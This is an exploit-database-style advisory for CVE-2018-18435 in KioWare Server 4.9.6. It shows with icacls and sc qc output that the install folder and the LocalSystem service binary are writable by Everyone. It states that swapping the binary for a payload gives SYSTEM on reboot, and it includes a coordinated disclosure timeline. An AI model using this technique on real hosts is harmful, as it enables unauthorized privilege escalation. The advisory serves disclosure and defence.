# Exploit Title : KioWare Server Version 4.9.6 - Weak Folder Permissions Privilege Escalation # Date : 10/12/2018 # Exploit Author : Hashim Jawad - @ihack4falafel # Vendor Homepage : https://www.kioware.com/ # Tested on : Windows Server 2016 Standard (x64) # CVE : CVE-2018-18435 Description: ============ KioWare Server version 4.9.6 and older installs by default to "C:\kioware_com" with weak folder permissions granting any user full permission "Everyone: (F)" to the contents of the directory and it's sub-folders. In addition, the program installs a service called "KWSService" which runs as "Localsystem", this will allow any user to escalate privileges to "NT AUTHORITY\SYSTEM" by substituting the service's binary with a malicious one. Proof: ====== C:\>icacls c:\kioware_com C:\kioware_com Everyone:(OI)(CI)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) BUILTIN\Administrators:(I)(OI)(CI)(F) BUILTIN\Users:(I)(OI)(CI)(RX) BUILTIN\Users:(I)(CI)(AD) BUILTIN\Users:(I)(CI)(WD) CREATOR OWNER:(I)(OI)(CI)(IO)(F) Successfully processed 1 files; Failed processing 0 files C:\>sc qc KWSService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: KWSService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START (DELAYED) ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\kioware_com\KWSS.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : KWS Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\>icacls C:\kioware_com\KWSS.exe C:\kioware_com\KWSS.exe Everyone:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) WIN-ONKVVSNUHKV\test:(I)(F) Successfully processed 1 files; Failed processing 0 files C:\> Exploit: ======== Simply replace "KWSS.exe" with your preferred payload and wait for execution upon reboot. # Disclosure Timeline: # ==================== # 10-13-18: Contacted vendor # 10-15-18: Vendor requested full report and POC # 10-15-18: Full report and POC sent # 10-16-18: Vendor was able to reproduce/validate the issue and filed a feature request # 10-16-18: Asked vendor to provide timeline for patch # 10-16-18: Requested CVE ID # 10-17-18: CVE-2018-18435 assigned # 10-17-18: Vendor requested 90 days timeline to patch/QA test # 12-20-18: Vendor sent patch and requested feedback # 12-22-18: Suggestions/modifications sent to Vendor # 12-24-18: Vendor sent new patch and requested feedback # 12-25-18: New Suggestions/modifications sent to Vendor # 12-26-18: Vendor sent new patch and requested feedback # 12-27-18: Vendor was notified that the latest patch is sufficient # 12-31-18: Vendor released new version (v4.9.9) and patch as well # 01-07-19: Vulnerability has been made public